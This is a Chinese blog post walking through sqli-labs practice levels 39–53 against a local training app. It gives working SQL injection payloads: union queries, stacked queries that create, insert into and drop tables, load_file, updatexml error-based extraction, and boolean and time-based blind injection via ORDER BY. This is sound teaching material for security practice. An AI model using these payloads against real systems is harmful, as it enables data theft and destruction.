Sqli-labs实验Task3(less39-53)

作者: 折戟尘风 | 来源:发表于2018-03-15 12:05 被阅读15次

    Sqli-labs实验Task3(less39-53)

    Less-39

    这个没有闭合的,所以直接使用联合查询:

    $ http://127.0.0.1/sqli-labs-master/Less-39/?id=0 union select 1,user(),database() -- #
    

    Less-40

    不同的闭合,多尝试几次。

    $ http://127.0.0.1/sqli-labs-master/Less-40/?id=0') union select 1,user(),database() -- #
    

    Less-41

    和39一样:

    $ http://127.0.0.1/sqli-labs-master/Less-41/?id=0 union select 1,user(),database() -- #
    

    但是page-3里的肯定不会这么简单,看了看page-3的标题,这是叠加注入,那就得在搞点其他的测试了,就用less-41来试一试:

    $ http://127.0.0.1/sqli-labs-master/Less-41/?id=1;create table test like users;-- #
    

    创建一个和users结构一样的表test。


    1.PNG

    同理我们可以对表数据进行更新,比如更改用户密码,删除数据库,或者利用load_file函数上传文件,比如php文件。。。

    $ http://127.0.0.1/sqli-labs-master/Less-41/?id=1;select load_file('c:/tmpupbbn.php');
    

    Less-42

    这里显示的是登陆框,结合这里的叠加注入,我们继续尝试新姿势。
    登录框用户名随便填,密码填:

    $ a';create table test2 like users; -- 
    

    创建一个test2的表。


    2.PNG

    同理,我们可以删除这个表,和之前的操作一样,我们用户名随便填,叠加注入写入相应的语句就行:

    $ a';drop table test2 ; -- 
    

    其他的可以继续尝试。不同的数据库会有不同的语句,有兴趣的可以多学习。

    Less-43

    这个和上一个差不多,不过post传参的闭合方式为单引号加括号,相应的语句稍微改一改就行。

    Less-44

    这里和42其实相差不多,只不多这里没有了报错,但是注入语句还是一样的,我们写几个新语句大家看看。
    插入数据:

    $ a’; insert into users(id,username,password) values ('233','233','233'); -- 
    

    Less-45

    这个也一样,和43的闭合时一样的,单引号加括号,只不过这里是没有报错,会提示说你是一个傻hacker。。。但是我们自己可以去查看数据库发现自己的语句是被执行了的。

    Less-46

    我们可以看到46的标题变了,现在我们要进行的就是order by的注入测试了,具体什么意思的。就是我们之前的sql语句最后都是limit 0,1。现在是:

    $ select * from users order by id;
    

    这时候我们就不能用之前的进行访问了:

    $ http://127.0.0.1/sqli-labs-master/Less-46/?sort=1
    

    这个传参就是sort传的就是order by的值,sort=1表示按id排序,看一下:


    3.PNG

    这就是我们访问上面的url看到的页面,这时候我们就可以考虑考虑如何构造order by的注入语句。Order by后面可以接上面语句呢。
    我们可以尝试使用mysql的updatexml的函数来达到注入获取敏感信息的目的:

    $ http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select user())),0))
    
    4.PNG

    同样我们可以更改updatexml()函数里的第二个参数里的sql语句,来获取我们想要的信息。比如:

    $ http://127.0.0.1/sqli-labs-master/Less-46/?sort=5 and(updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),0))
    

    Less-47

    这个一下就猜到加了闭合。。。不要问我为什么,套路熟悉了一下就破了:

    $ http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and(updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),0)) -- #
    

    Less-48

    这个没有报错了,这时候我们就不能用XPATH报错来获取信息了。不过可以使用盲注。
    可以利用sort=rand(true/false)进行判断。写一下我们的注入语句:

    $ http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
    

    这是正确的情况:

    5.PNG
    这是错误的情况:
    6.PNG
    我们可以根据正确错误的不同返回值来获取信息。
    更多关于updatexml的注入可查看:
    www.freebuf.com/column/145988.html

    Less-49

    这一个无论我们输入什么得出的都是一样的,这个时候我们就不能用上面的方法了,不过可以用基于时间的盲注(单引号闭合):

    $ http://127.0.0.1/sqli-labs-master/Less-49/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))-- #
    

    Less-50

    从这里开始我们就开始新的,order by和叠加注入的挑战

    $ http://127.0.0.1/sqli-labs-master/Less-50/?sort=1; insert into users values(1000,”root1”,”root1”) 
    

    Less-51

    不用猜就知道加了闭合:

    $ http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table test51 like users; -- 
    
    7.PNG

    Less-52

    这个50一样,只是没有报错,payload也一样。

    Less-53

    这个和51一样,但是没有报错:

    $ http://127.0.0.1/sqli-labs-master/Less-53/?sort=1';create table test53 like users; -- 
    

    快结束了,还有最后page 4,也会在近期写完的。

    相关文章

      网友评论

        本文标题:Sqli-labs实验Task3(less39-53)

        本文链接:https://www.haomeiwen.com/subject/csthqftx.html